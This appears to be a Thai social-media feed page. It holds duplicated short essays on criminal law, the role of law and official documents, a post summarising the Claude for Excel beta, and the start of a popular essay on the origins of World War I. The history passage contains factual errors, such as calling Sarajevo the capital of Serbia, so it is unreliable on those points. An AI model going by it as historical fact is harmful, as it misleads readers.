• บทความกฎหมาย EP.14

    กฎหมายอาญาเป็นเสาหลักสำคัญของความสงบเรียบร้อยในสังคม มันคือชุดของข้อกำหนดที่ระบุไว้อย่างชัดเจนว่าการกระทำใดบ้างที่ถือเป็นความผิดและเป็นอันตรายต่อส่วนรวม พร้อมทั้งกำหนดบทลงโทษที่สอดคล้องกับความร้ายแรงของพฤติกรรมนั้นๆ เพื่อให้เกิดความเป็นธรรมและป้องปรามมิให้ผู้ใดละเมิดสิทธิและเสรีภาพของผู้อื่น การบัญญัติกฎหมายอาญาจึงมิใช่เพียงการลงโทษ แต่เป็นการสร้างมาตรฐานทางจริยธรรมและพฤติกรรมที่สังคมยอมรับร่วมกัน การกำหนดความผิดและโทษทัณฑ์เหล่านี้สะท้อนให้เห็นถึงค่านิยมและความห่วงใยในความมั่นคงปลอดภัยของพลเมืองทุกคน เมื่อมีการฝ่าฝืน กฎหมายจะเข้ามาทำหน้าที่ในการเยียวยาความเสียหายและฟื้นฟูความเชื่อมั่นในระบบยุติธรรม ขณะเดียวกันก็เป็นเครื่องมือในการปรับปรุงแก้ไขพฤติกรรมของผู้กระทำผิดเพื่อให้เขาสามารถกลับคืนสู่สังคมได้อย่างปกติสุข มันคือการรักษาสมดุลระหว่างเสรีภาพส่วนบุคคลกับความมั่นคงของส่วนรวม

    การทำความเข้าใจในเจตนารมณ์ของกฎหมายอาญาจึงเป็นสิ่งจำเป็นสำหรับทุกคน เพราะมันคือเกราะป้องกันและเครื่องนำทางชีวิตให้ทุกคนสามารถอยู่ร่วมกันได้อย่างผาสุก ปราศจากความหวาดระแวง กฎหมายมิได้มีไว้เพียงเพื่อลงโทษผู้กระทำผิด แต่ยังมีไว้เพื่อคุ้มครองสุจริตชนและธำรงไว้ซึ่งหลักนิติธรรม การศึกษาและเคารพกฎหมายอาญาจึงมิใช่เพียงหน้าที่ แต่เป็นสำนึกของการเป็นพลเมืองที่มีความรับผิดชอบต่อตนเองและต่อสังคม การรับรู้ว่าการกระทำใดจะนำมาซึ่งความผิดและบทลงโทษ จะช่วยให้แต่ละคนระมัดระวังตนและเลือกที่จะประพฤติตนตามกรอบของกฎหมายและศีลธรรมอันดีงาม โทษทัณฑ์ที่ถูกกำหนดไว้จึงเป็นเครื่องมือสุดท้ายที่รัฐนำมาใช้เพื่อปกป้องสังคมจากการถูกทำลาย การตระหนักถึงความร้ายแรงของการกระทำที่เป็นความผิดอาญาจะช่วยสร้างจิตสำนึกที่ดีและลดโอกาสของการเกิดอาชญากรรมในทุกระดับ

    ดังนั้น กฎหมายอาญาจึงเป็นมากกว่าตัวอักษรที่สลักไว้ในประมวลกฎหมาย มันคือหัวใจสำคัญของการอยู่ร่วมกันอย่างสันติและเป็นธรรม เป็นกลไกที่คอยขับเคลื่อนให้สังคมสามารถดำเนินไปข้างหน้าได้อย่างมีระเบียบและปลอดภัย การเคารพและปฏิบัติตามกฎหมายอาญาจึงเป็นรากฐานของธรรมาภิบาลและความมั่นคงในชีวิต การรับรู้ถึงความผิดและบทลงโทษที่ชัดเจน ทำให้ทุกคนรู้ขอบเขตแห่งการกระทำของตนเอง และส่งเสริมให้สังคมโดยรวมมีความเข้มแข็งและน่าอยู่มากยิ่งขึ้น ความยุติธรรมที่มาพร้อมกับการลงโทษที่เหมาะสม จึงเป็นสิ่งที่สังคมคาดหวังและพึ่งพาจากกฎหมายอาญาเสมอมา
    บทความกฎหมาย EP.14 กฎหมายอาญาเป็นเสาหลักสำคัญของความสงบเรียบร้อยในสังคม มันคือชุดของข้อกำหนดที่ระบุไว้อย่างชัดเจนว่าการกระทำใดบ้างที่ถือเป็นความผิดและเป็นอันตรายต่อส่วนรวม พร้อมทั้งกำหนดบทลงโทษที่สอดคล้องกับความร้ายแรงของพฤติกรรมนั้นๆ เพื่อให้เกิดความเป็นธรรมและป้องปรามมิให้ผู้ใดละเมิดสิทธิและเสรีภาพของผู้อื่น การบัญญัติกฎหมายอาญาจึงมิใช่เพียงการลงโทษ แต่เป็นการสร้างมาตรฐานทางจริยธรรมและพฤติกรรมที่สังคมยอมรับร่วมกัน การกำหนดความผิดและโทษทัณฑ์เหล่านี้สะท้อนให้เห็นถึงค่านิยมและความห่วงใยในความมั่นคงปลอดภัยของพลเมืองทุกคน เมื่อมีการฝ่าฝืน กฎหมายจะเข้ามาทำหน้าที่ในการเยียวยาความเสียหายและฟื้นฟูความเชื่อมั่นในระบบยุติธรรม ขณะเดียวกันก็เป็นเครื่องมือในการปรับปรุงแก้ไขพฤติกรรมของผู้กระทำผิดเพื่อให้เขาสามารถกลับคืนสู่สังคมได้อย่างปกติสุข มันคือการรักษาสมดุลระหว่างเสรีภาพส่วนบุคคลกับความมั่นคงของส่วนรวม การทำความเข้าใจในเจตนารมณ์ของกฎหมายอาญาจึงเป็นสิ่งจำเป็นสำหรับทุกคน เพราะมันคือเกราะป้องกันและเครื่องนำทางชีวิตให้ทุกคนสามารถอยู่ร่วมกันได้อย่างผาสุก ปราศจากความหวาดระแวง กฎหมายมิได้มีไว้เพียงเพื่อลงโทษผู้กระทำผิด แต่ยังมีไว้เพื่อคุ้มครองสุจริตชนและธำรงไว้ซึ่งหลักนิติธรรม การศึกษาและเคารพกฎหมายอาญาจึงมิใช่เพียงหน้าที่ แต่เป็นสำนึกของการเป็นพลเมืองที่มีความรับผิดชอบต่อตนเองและต่อสังคม การรับรู้ว่าการกระทำใดจะนำมาซึ่งความผิดและบทลงโทษ จะช่วยให้แต่ละคนระมัดระวังตนและเลือกที่จะประพฤติตนตามกรอบของกฎหมายและศีลธรรมอันดีงาม โทษทัณฑ์ที่ถูกกำหนดไว้จึงเป็นเครื่องมือสุดท้ายที่รัฐนำมาใช้เพื่อปกป้องสังคมจากการถูกทำลาย การตระหนักถึงความร้ายแรงของการกระทำที่เป็นความผิดอาญาจะช่วยสร้างจิตสำนึกที่ดีและลดโอกาสของการเกิดอาชญากรรมในทุกระดับ ดังนั้น กฎหมายอาญาจึงเป็นมากกว่าตัวอักษรที่สลักไว้ในประมวลกฎหมาย มันคือหัวใจสำคัญของการอยู่ร่วมกันอย่างสันติและเป็นธรรม เป็นกลไกที่คอยขับเคลื่อนให้สังคมสามารถดำเนินไปข้างหน้าได้อย่างมีระเบียบและปลอดภัย การเคารพและปฏิบัติตามกฎหมายอาญาจึงเป็นรากฐานของธรรมาภิบาลและความมั่นคงในชีวิต การรับรู้ถึงความผิดและบทลงโทษที่ชัดเจน ทำให้ทุกคนรู้ขอบเขตแห่งการกระทำของตนเอง และส่งเสริมให้สังคมโดยรวมมีความเข้มแข็งและน่าอยู่มากยิ่งขึ้น ความยุติธรรมที่มาพร้อมกับการลงโทษที่เหมาะสม จึงเป็นสิ่งที่สังคมคาดหวังและพึ่งพาจากกฎหมายอาญาเสมอมา
    0 Comments 0 Shares 28 Views 0 Reviews
  • บทความกฎหมาย EP.12

    กฎหมายเป็นมากกว่าชุดข้อบังคับ เป็นเสาหลักที่ค้ำจุนสังคมให้ดำรงอยู่ได้อย่างสงบและเป็นธรรม หลักเกณฑ์และบรรทัดฐานเหล่านี้ได้ถูกบัญญัติขึ้นเพื่อกำหนดทิศทางของพฤติกรรมทั้งของปัจเจกบุคคลและกลุ่มองค์กรในสังคม การมีอยู่ของกฎหมายมิได้มีเพียงเพื่อจำกัดสิทธิเสรีภาพ แต่เพื่อสร้างขอบเขตที่ชัดเจนให้ทุกคนสามารถอยู่ร่วมกันได้ภายใต้ความคาดหวังร่วมกันว่าความประพฤติใดคือสิ่งที่ยอมรับได้ และพฤติกรรมใดที่ก่อให้เกิดความเสียหายแก่ส่วนรวม เมื่อใดก็ตามที่ความขัดแย้งเกิดขึ้นหรือความสงบเรียบร้อยถูกคุกคาม กฎหมายจะเข้ามาทำหน้าที่เป็นกลไกในการตัดสินและแก้ไขข้อพิพาท เพื่อธำรงไว้ซึ่งความยุติธรรมอันเป็นหัวใจสำคัญของการอยู่ร่วมกันในฐานะพลเมือง

    กลไกอันทรงพลังที่ขับเคลื่อนกฎหมายให้มีผลบังคับใช้ได้อย่างแท้จริงคืออำนาจของรัฐ รัฐในฐานะผู้มีอำนาจอธิปไตยจะดำเนินการบังคับใช้กฎหมายเหล่านั้นอย่างเคร่งครัดและเป็นกลาง การบังคับใช้มิได้จำกัดอยู่แค่การลงโทษผู้กระทำผิด แต่รวมถึงการให้ความคุ้มครองสิทธิของพลเมือง การจัดระเบียบโครงสร้างทางสังคมและเศรษฐกิจ ตลอดจนการสร้างสภาพแวดล้อมที่เอื้อต่อการพัฒนาประเทศ การที่กฎหมายมีผลบังคับใช้โดยรัฐทำให้หลักเกณฑ์ต่างๆ มีน้ำหนักและมีความศักดิ์สิทธิ์ ไม่ใช่เพียงแค่ข้อเสนอแนะที่ใครจะเลือกปฏิบัติตามหรือไม่ก็ได้ ความแน่นอนและเด็ดขาดในการบังคับใช้นี่เองที่เป็นปัจจัยสำคัญในการสร้างความเชื่อมั่นให้กับประชาชนว่าทุกการกระทำย่อมมีผลตามมาและไม่มีใครอยู่เหนือกฎเกณฑ์

    ดังนั้น กฎหมายจึงเป็นเครื่องมือสำคัญในการรักษาสมดุลระหว่างเสรีภาพของบุคคลกับผลประโยชน์ของส่วนรวม เป็นเกราะป้องกันความวุ่นวายและเป็นเส้นทางสู่ความเป็นธรรม กฎหมายสะท้อนให้เห็นถึงค่านิยมและความมุ่งหวังของสังคมในแต่ละยุคสมัย ในฐานะพลเมือง การเรียนรู้และเคารพในกฎหมายจึงไม่ใช่เพียงหน้าที่ แต่คือการมีส่วนร่วมในการสร้างสรรค์และรักษาสังคมที่เราต้องการให้อยู่ร่วมกันอย่างยั่งยืน การทำความเข้าใจในเจตนารมณ์ของกฎหมายจะนำมาซึ่งการยอมรับและปฏิบัติตามด้วยความสมัครใจ อันเป็นรากฐานที่มั่นคงของรัฐที่สงบสุขและยุติธรรมอย่างแท้จริง
    บทความกฎหมาย EP.12 กฎหมายเป็นมากกว่าชุดข้อบังคับ เป็นเสาหลักที่ค้ำจุนสังคมให้ดำรงอยู่ได้อย่างสงบและเป็นธรรม หลักเกณฑ์และบรรทัดฐานเหล่านี้ได้ถูกบัญญัติขึ้นเพื่อกำหนดทิศทางของพฤติกรรมทั้งของปัจเจกบุคคลและกลุ่มองค์กรในสังคม การมีอยู่ของกฎหมายมิได้มีเพียงเพื่อจำกัดสิทธิเสรีภาพ แต่เพื่อสร้างขอบเขตที่ชัดเจนให้ทุกคนสามารถอยู่ร่วมกันได้ภายใต้ความคาดหวังร่วมกันว่าความประพฤติใดคือสิ่งที่ยอมรับได้ และพฤติกรรมใดที่ก่อให้เกิดความเสียหายแก่ส่วนรวม เมื่อใดก็ตามที่ความขัดแย้งเกิดขึ้นหรือความสงบเรียบร้อยถูกคุกคาม กฎหมายจะเข้ามาทำหน้าที่เป็นกลไกในการตัดสินและแก้ไขข้อพิพาท เพื่อธำรงไว้ซึ่งความยุติธรรมอันเป็นหัวใจสำคัญของการอยู่ร่วมกันในฐานะพลเมือง กลไกอันทรงพลังที่ขับเคลื่อนกฎหมายให้มีผลบังคับใช้ได้อย่างแท้จริงคืออำนาจของรัฐ รัฐในฐานะผู้มีอำนาจอธิปไตยจะดำเนินการบังคับใช้กฎหมายเหล่านั้นอย่างเคร่งครัดและเป็นกลาง การบังคับใช้มิได้จำกัดอยู่แค่การลงโทษผู้กระทำผิด แต่รวมถึงการให้ความคุ้มครองสิทธิของพลเมือง การจัดระเบียบโครงสร้างทางสังคมและเศรษฐกิจ ตลอดจนการสร้างสภาพแวดล้อมที่เอื้อต่อการพัฒนาประเทศ การที่กฎหมายมีผลบังคับใช้โดยรัฐทำให้หลักเกณฑ์ต่างๆ มีน้ำหนักและมีความศักดิ์สิทธิ์ ไม่ใช่เพียงแค่ข้อเสนอแนะที่ใครจะเลือกปฏิบัติตามหรือไม่ก็ได้ ความแน่นอนและเด็ดขาดในการบังคับใช้นี่เองที่เป็นปัจจัยสำคัญในการสร้างความเชื่อมั่นให้กับประชาชนว่าทุกการกระทำย่อมมีผลตามมาและไม่มีใครอยู่เหนือกฎเกณฑ์ ดังนั้น กฎหมายจึงเป็นเครื่องมือสำคัญในการรักษาสมดุลระหว่างเสรีภาพของบุคคลกับผลประโยชน์ของส่วนรวม เป็นเกราะป้องกันความวุ่นวายและเป็นเส้นทางสู่ความเป็นธรรม กฎหมายสะท้อนให้เห็นถึงค่านิยมและความมุ่งหวังของสังคมในแต่ละยุคสมัย ในฐานะพลเมือง การเรียนรู้และเคารพในกฎหมายจึงไม่ใช่เพียงหน้าที่ แต่คือการมีส่วนร่วมในการสร้างสรรค์และรักษาสังคมที่เราต้องการให้อยู่ร่วมกันอย่างยั่งยืน การทำความเข้าใจในเจตนารมณ์ของกฎหมายจะนำมาซึ่งการยอมรับและปฏิบัติตามด้วยความสมัครใจ อันเป็นรากฐานที่มั่นคงของรัฐที่สงบสุขและยุติธรรมอย่างแท้จริง
    0 Comments 0 Shares 27 Views 0 Reviews
  • บทความกฎหมาย EP.8

    เอกสารราชการคือหลักฐานที่มีความสำคัญยิ่งในทางการปกครองและการบริหารราชการแผ่นดิน ไม่ว่าจะเป็นการติดต่อสื่อสารระหว่างหน่วยงานของรัฐด้วยกันเอง หรือการประสานงานกับภาคเอกชนและประชาชนทั่วไป เอกสารเหล่านี้ทำหน้าที่เสมือนเส้นเลือดที่หล่อเลี้ยงระบบราชการ ทำให้การดำเนินงานต่างๆ เป็นไปอย่างราบรื่น ถูกต้อง และตรวจสอบได้ตามกฎหมาย ตั้งแต่หนังสือสั่งการ ข้อบังคับ ประกาศ ไปจนถึงรายงานการประชุมทุกฉบับล้วนเป็นกลไกสำคัญที่สะท้อนถึงความโปร่งใส ความรับผิดชอบ และประสิทธิภาพในการทำงานของภาครัฐ การทำความเข้าใจในความหมายและประเภทของเอกสารราชการจึงเป็นพื้นฐานสำคัญสำหรับทุกคนที่เกี่ยวข้องกับการบริหารจัดการภาครัฐ เพื่อให้มั่นใจได้ว่าทุกขั้นตอนของงานราชการดำเนินการอย่างเป็นระบบ มีมาตรฐาน และสามารถอ้างอิงได้อย่างเป็นทางการ

    ความน่าเชื่อถือและความศักดิ์สิทธิ์ของเอกสารราชการมิได้อยู่ที่กระดาษหรือหมึกที่ใช้ หากแต่อยู่ที่เนื้อหา ข้อกฎหมายที่รองรับ และเจตนาในการนำไปปฏิบัติ ซึ่งต้องเป็นไปเพื่อประโยชน์สาธารณะเป็นที่ตั้ง เอกสารเหล่านี้จึงเป็นเครื่องมือที่ใช้ในการสร้างความเข้าใจร่วมกัน บันทึกข้อตกลง สิทธิ และหน้าที่ รวมถึงเป็นหลักฐานทางประวัติศาสตร์ที่สะท้อนการเปลี่ยนแปลงและการพัฒนาของประเทศ ทุกการลงนาม ทุกตราประทับ ล้วนมีความหมายและมีผลผูกพันทางกฎหมาย การจัดทำ การเก็บรักษา และการทำลายเอกสารราชการจึงต้องเป็นไปตามระเบียบที่กำหนดไว้โดยเคร่งครัด เพื่อป้องกันความผิดพลาด การทุจริต และการสูญหายของข้อมูลสำคัญ ซึ่งอาจส่งผลกระทบต่อการตัดสินใจและการให้บริการประชาชนในวงกว้าง ดังนั้น เจ้าหน้าที่ทุกคนจึงมีหน้าที่ในการดูแลและจัดการเอกสารเหล่านี้ด้วยความรอบคอบและสำนึกในความรับผิดชอบสูงสุด

    โดยสรุปแล้ว เอกสารราชการเป็นมากกว่ากระดาษหรือไฟล์ข้อมูล แต่คือสัญลักษณ์ของอำนาจรัฐ ความน่าเชื่อถือ และเป็นเครื่องมือในการขับเคลื่อนนโยบายสาธารณะให้บรรลุผลสำเร็จ การให้ความสำคัญกับการจัดทำและการบริหารจัดการเอกสารราชการอย่างมีมาตรฐานและเป็นระบบระเบียบ จึงเป็นหัวใจสำคัญที่จะช่วยยกระดับธรรมาภิบาล สร้างความเชื่อมั่นให้กับประชาชน และเป็นรากฐานที่มั่นคงในการพัฒนาประเทศชาติให้ก้าวหน้าอย่างยั่งยืนต่อไป
    บทความกฎหมาย EP.8 เอกสารราชการคือหลักฐานที่มีความสำคัญยิ่งในทางการปกครองและการบริหารราชการแผ่นดิน ไม่ว่าจะเป็นการติดต่อสื่อสารระหว่างหน่วยงานของรัฐด้วยกันเอง หรือการประสานงานกับภาคเอกชนและประชาชนทั่วไป เอกสารเหล่านี้ทำหน้าที่เสมือนเส้นเลือดที่หล่อเลี้ยงระบบราชการ ทำให้การดำเนินงานต่างๆ เป็นไปอย่างราบรื่น ถูกต้อง และตรวจสอบได้ตามกฎหมาย ตั้งแต่หนังสือสั่งการ ข้อบังคับ ประกาศ ไปจนถึงรายงานการประชุมทุกฉบับล้วนเป็นกลไกสำคัญที่สะท้อนถึงความโปร่งใส ความรับผิดชอบ และประสิทธิภาพในการทำงานของภาครัฐ การทำความเข้าใจในความหมายและประเภทของเอกสารราชการจึงเป็นพื้นฐานสำคัญสำหรับทุกคนที่เกี่ยวข้องกับการบริหารจัดการภาครัฐ เพื่อให้มั่นใจได้ว่าทุกขั้นตอนของงานราชการดำเนินการอย่างเป็นระบบ มีมาตรฐาน และสามารถอ้างอิงได้อย่างเป็นทางการ ความน่าเชื่อถือและความศักดิ์สิทธิ์ของเอกสารราชการมิได้อยู่ที่กระดาษหรือหมึกที่ใช้ หากแต่อยู่ที่เนื้อหา ข้อกฎหมายที่รองรับ และเจตนาในการนำไปปฏิบัติ ซึ่งต้องเป็นไปเพื่อประโยชน์สาธารณะเป็นที่ตั้ง เอกสารเหล่านี้จึงเป็นเครื่องมือที่ใช้ในการสร้างความเข้าใจร่วมกัน บันทึกข้อตกลง สิทธิ และหน้าที่ รวมถึงเป็นหลักฐานทางประวัติศาสตร์ที่สะท้อนการเปลี่ยนแปลงและการพัฒนาของประเทศ ทุกการลงนาม ทุกตราประทับ ล้วนมีความหมายและมีผลผูกพันทางกฎหมาย การจัดทำ การเก็บรักษา และการทำลายเอกสารราชการจึงต้องเป็นไปตามระเบียบที่กำหนดไว้โดยเคร่งครัด เพื่อป้องกันความผิดพลาด การทุจริต และการสูญหายของข้อมูลสำคัญ ซึ่งอาจส่งผลกระทบต่อการตัดสินใจและการให้บริการประชาชนในวงกว้าง ดังนั้น เจ้าหน้าที่ทุกคนจึงมีหน้าที่ในการดูแลและจัดการเอกสารเหล่านี้ด้วยความรอบคอบและสำนึกในความรับผิดชอบสูงสุด โดยสรุปแล้ว เอกสารราชการเป็นมากกว่ากระดาษหรือไฟล์ข้อมูล แต่คือสัญลักษณ์ของอำนาจรัฐ ความน่าเชื่อถือ และเป็นเครื่องมือในการขับเคลื่อนนโยบายสาธารณะให้บรรลุผลสำเร็จ การให้ความสำคัญกับการจัดทำและการบริหารจัดการเอกสารราชการอย่างมีมาตรฐานและเป็นระบบระเบียบ จึงเป็นหัวใจสำคัญที่จะช่วยยกระดับธรรมาภิบาล สร้างความเชื่อมั่นให้กับประชาชน และเป็นรากฐานที่มั่นคงในการพัฒนาประเทศชาติให้ก้าวหน้าอย่างยั่งยืนต่อไป
    0 Comments 0 Shares 16 Views 0 Reviews
  • Claude for Excel คือฟีเจอร์ใหม่ที่ใช้ AI ช่วยวิเคราะห์และจัดการข้อมูลใน Excel ได้อย่างชาญฉลาด โดยเข้าใจสูตรซับซ้อนและความสัมพันธ์ระหว่างแผ่นงาน

    Claude for Excel เป็นฟีเจอร์ที่อยู่ในช่วงทดลอง (beta) โดย Anthropic ซึ่งออกแบบมาเพื่อช่วยให้ผู้ใช้สามารถทำงานกับไฟล์ Excel ได้ง่ายขึ้นผ่านการใช้ AI ที่เข้าใจบริบทของข้อมูลในระดับเซลล์และสูตรที่ซับซ้อน

    Claude for Excel ไม่ใช่แค่ผู้ช่วยในการคำนวณ แต่เป็น “นักวิเคราะห์ข้อมูล” ที่สามารถเข้าใจโครงสร้างของไฟล์ Excel ทั้งสูตรที่ซ้อนกันหลายชั้นและความสัมพันธ์ระหว่างหลายแผ่นงาน เช่น ถ้าคุณมีไฟล์ที่ใช้สูตร VLOOKUP เชื่อมโยงข้อมูลจากหลายแท็บ Claude สามารถอธิบายได้ว่าแต่ละเซลล์ทำงานอย่างไร และจะเกิดอะไรขึ้นถ้าคุณเปลี่ยนค่าบางจุด

    ฟีเจอร์นี้ยังสามารถ:
    อธิบายสูตรแบบละเอียด พร้อมบอกว่าแต่ละส่วนของสูตรทำหน้าที่อะไร
    ตอบคำถามเกี่ยวกับข้อมูล เช่น “ยอดขายเดือนเมษายนเพิ่มขึ้นจากเดือนมีนาคมเท่าไหร่?”
    ช่วยปรับสูตรหรือแก้ไขข้อผิดพลาดโดยไม่ต้องเขียนใหม่ทั้งหมด
    อัปเดตสมมติฐานในไฟล์โดยไม่ทำให้สูตรเสีย

    Claude for Excel ยังอยู่ในช่วงทดลองใช้งานแบบจำกัด และเปิดให้ลงทะเบียนเข้าร่วม waitlist เพื่อทดลองใช้ในอนาคต

    ความสามารถของ Claude for Excel
    เข้าใจสูตรซับซ้อนและความสัมพันธ์ระหว่างแผ่นงาน
    อธิบายสูตรแบบละเอียดในระดับเซลล์
    ตอบคำถามเกี่ยวกับข้อมูลในไฟล์ Excel
    ปรับสมมติฐานโดยไม่ทำให้สูตรเสีย

    สถานะการใช้งาน
    อยู่ในช่วง beta แบบจำกัด
    เปิดให้ลงทะเบียนเข้าร่วม waitlist

    จุดเด่นที่เหนือกว่าผู้ช่วยทั่วไป
    วิเคราะห์ข้อมูลเชิงลึกจากหลายแท็บ
    ช่วยแก้ไขสูตรและข้อผิดพลาดแบบอัตโนมัติ
    เหมาะกับงานวิเคราะห์ทางการเงินและธุรกิจ

    คำเตือนสำหรับผู้ใช้งาน
    ยังไม่เปิดให้ใช้งานทั่วไป ต้องลงทะเบียน waitlist
    ควรตรวจสอบผลลัพธ์จาก AI ก่อนนำไปใช้จริง
    ไม่ควรใช้กับข้อมูลที่มีความอ่อนไหวโดยไม่มีการเข้ารหัสหรือป้องกัน

    https://www.claude.com/claude-for-excel
    🧠 Claude for Excel คือฟีเจอร์ใหม่ที่ใช้ AI ช่วยวิเคราะห์และจัดการข้อมูลใน Excel ได้อย่างชาญฉลาด โดยเข้าใจสูตรซับซ้อนและความสัมพันธ์ระหว่างแผ่นงาน Claude for Excel เป็นฟีเจอร์ที่อยู่ในช่วงทดลอง (beta) โดย Anthropic ซึ่งออกแบบมาเพื่อช่วยให้ผู้ใช้สามารถทำงานกับไฟล์ Excel ได้ง่ายขึ้นผ่านการใช้ AI ที่เข้าใจบริบทของข้อมูลในระดับเซลล์และสูตรที่ซับซ้อน Claude for Excel ไม่ใช่แค่ผู้ช่วยในการคำนวณ แต่เป็น “นักวิเคราะห์ข้อมูล” ที่สามารถเข้าใจโครงสร้างของไฟล์ Excel ทั้งสูตรที่ซ้อนกันหลายชั้นและความสัมพันธ์ระหว่างหลายแผ่นงาน เช่น ถ้าคุณมีไฟล์ที่ใช้สูตร VLOOKUP เชื่อมโยงข้อมูลจากหลายแท็บ Claude สามารถอธิบายได้ว่าแต่ละเซลล์ทำงานอย่างไร และจะเกิดอะไรขึ้นถ้าคุณเปลี่ยนค่าบางจุด ฟีเจอร์นี้ยังสามารถ: 📐 อธิบายสูตรแบบละเอียด พร้อมบอกว่าแต่ละส่วนของสูตรทำหน้าที่อะไร 📐 ตอบคำถามเกี่ยวกับข้อมูล เช่น “ยอดขายเดือนเมษายนเพิ่มขึ้นจากเดือนมีนาคมเท่าไหร่?” 📐 ช่วยปรับสูตรหรือแก้ไขข้อผิดพลาดโดยไม่ต้องเขียนใหม่ทั้งหมด 📐 อัปเดตสมมติฐานในไฟล์โดยไม่ทำให้สูตรเสีย Claude for Excel ยังอยู่ในช่วงทดลองใช้งานแบบจำกัด และเปิดให้ลงทะเบียนเข้าร่วม waitlist เพื่อทดลองใช้ในอนาคต ✅ ความสามารถของ Claude for Excel ➡️ เข้าใจสูตรซับซ้อนและความสัมพันธ์ระหว่างแผ่นงาน ➡️ อธิบายสูตรแบบละเอียดในระดับเซลล์ ➡️ ตอบคำถามเกี่ยวกับข้อมูลในไฟล์ Excel ➡️ ปรับสมมติฐานโดยไม่ทำให้สูตรเสีย ✅ สถานะการใช้งาน ➡️ อยู่ในช่วง beta แบบจำกัด ➡️ เปิดให้ลงทะเบียนเข้าร่วม waitlist ✅ จุดเด่นที่เหนือกว่าผู้ช่วยทั่วไป ➡️ วิเคราะห์ข้อมูลเชิงลึกจากหลายแท็บ ➡️ ช่วยแก้ไขสูตรและข้อผิดพลาดแบบอัตโนมัติ ➡️ เหมาะกับงานวิเคราะห์ทางการเงินและธุรกิจ ‼️ คำเตือนสำหรับผู้ใช้งาน ⛔ ยังไม่เปิดให้ใช้งานทั่วไป ต้องลงทะเบียน waitlist ⛔ ควรตรวจสอบผลลัพธ์จาก AI ก่อนนำไปใช้จริง ⛔ ไม่ควรใช้กับข้อมูลที่มีความอ่อนไหวโดยไม่มีการเข้ารหัสหรือป้องกัน https://www.claude.com/claude-for-excel
    WWW.CLAUDE.COM
    Claude for Excel
    Claude understands your entire workbook—from nested formulas to multiple tab dependencies.
    0 Comments 0 Shares 14 Views 0 Reviews
  • ต้มข้ามศตวรรษ – บทนำ 1 – 2
    นิทานเรื่องจริง เรื่อง “ต้มข้ามศตวรรษ”

    บทนำ

    (1)

    จากประวัติศาสตร์ ที่ฝรั่งทั้งเขียนทั้งแต่ง และคนไทยเอามาแปล เป็นทั้งหนังสืออ่าน และบทเรียนประวัติศาสตร์สากล ทำให้เราเข้าใจ และเชื่อว่า สงครามโลกครั้งที่ 1 เกิดขึ้นจาก เหตุการณ์ลอบฆ่าอาชดยุก ฟรานซ์ เฟอร์ดินานด์ รัชทายาทของออสเตรีย-ฮังการี โดยชาวเซอรเบีย ที่เซราเจโว เมืองหลวงของเซอร์เบีย เมื่อวันที่ 28 มิถุนายน คศ 1914

    มันเป็นเหตุการณ์ที่เกิดขึ้นจริง และเป็นสายชนวนเส้นหนึ่ง ของสงครามโลกครั้งที่ 1 จริง แต่มันไม่ใช่ “สาเหตุ ” แท้จริงที่ทำให้เกิดสงครามโลก แม้เหตุการณ์นั้น จะทำให้ออสเตรียโกรธจัด ควันออกหูก็ตาม ออสเตรียกับเซอร์เบียขบเขี้ยวกันมานานแล้ว เนื่องจากออสเตรียซึ่งตอนนั้นคิดว่าตนเองกล้ามใหญ่ ไปผนวกเอาบอสเนียและเฮอเซโกวีนา ซึ่งเป็นส่วนหนึ่งของอาณาจักรออตโตมาน มาเป็นของตน ตั้งแต่ประมาณปี คศ 1878 ทำให้เซอร์เบียซี่งถือว่าบอสเนียเป็นพวกเดียวกันตัว เป็นเดือดเป็นแค้นแทน และเอาความแค้นไปฝากใส่หูรัสเซีย ในฐานะลูกพี่ใหญ่ของพวกสลาฟ และกลุ่มนิกายออโธดอกซ์

    หลังจากมีการเจรจา ที่มีเค้าว่าจะล้มเหลวตั้งแต่เริ่มต้นอยู่ประมาณ 1 เดือน ในวันที่ 28 กรกฏาคม คศ 1914 ออสเตรียก็ประกาศสงครามกับเซอร์เบียรัฐเล็กกระจ้อย เพื่อให้รับผิดชอบการฆาตกรรมดังกล่าว ออสเตรียเชื่อว่า จะได้รับการช่วยเหลือจากเยอรมัน หากรัสเซียออกมาหนุนหลังให้เซอร์เบีย ออสเตรียคงต้องลุ้นหนักว่า เยอรมันจะมาช่วยทันไหม เพราะวันรุ่งขึ้น 29 กรกฏาคม รัสเซียก็ประกาศระดมพล เตรียมตัวรบแล้ว

    ในวันเดียวกันนั้น ไกเซอร์ของเยอรมัน ก็ส่งโทรเลขไปหาซาร์นิโคลัสของรัสเซีย ขอร้องไม่ให้เรียกระดมพล และคงเพราะมีไมตรีต่อกันฉันท์ญาติ ซาร์จึงระงับคำสั่งระดมพลไว้ชั่วคราว แต่ฝ่ายกองทัพของรัสเซียไม่ชอบใจ ที่ซาร์ออกอาการลังเล วันรุ่งขึ้น 30 กรกฏาคม จึงพากันเดินตบเท้า เข้าไปกล่อม แกมบีบให้ซาร์มีคำสั่งระดมพลต่อ

    คงมีใครอยากรบเต็มที วันที่ 31 กรกฏาคม ทูตเยอรมันประจำเมือง St Petersburg ก็เข้าไปพบซาร์ และยื่นหนังสือของเยอรมัน ที่ประกาศสงครามต่อรัสเซีย หลังจากนั้นก็เอามือปิดหน้าและเดินออกไปจากห้อง ไม่ใช่คนเยอรมันทุกคนอยากทำสงคราม โดยเฉพาะกับรัสเซีย ซึ่งแท้จริงแล้ว ไม่ได้เป็นศัตรูกับเยอรมัน
    เนื่องจากรู้ว่า ฝรั่งเศสและรัสเซียมีสัญญาให้การร่วมมือกันทางกองทัพ เยอรมันจึงตัดสินใจว่า จะต้องจัดการอย่างรวดเร็ว ให้ฝรั่งเศสหมอบราบเสียก่อนที่รัสเซียจะขยับมาช่วยทัน เพราะเยอรมันคาดว่า รัสเซียน่าจะใช้เวลานานในการระดมพล ขณะนั้นกองทัพของรัสเซียมีขนาดใหญ่ที่สุดในยุโรป วันที่ 3 สิงหาคม คศ 1914 เยอรมันจึงรีบประกาศสงครามกับฝรั่งเศส หลังจากนั้นเยอรมันก็เคลื่อนพลเข้าไปในเบลเยี่ยม เพื่อใช้เป็นทางข้ามไปโจมตีฝรั่งเศส

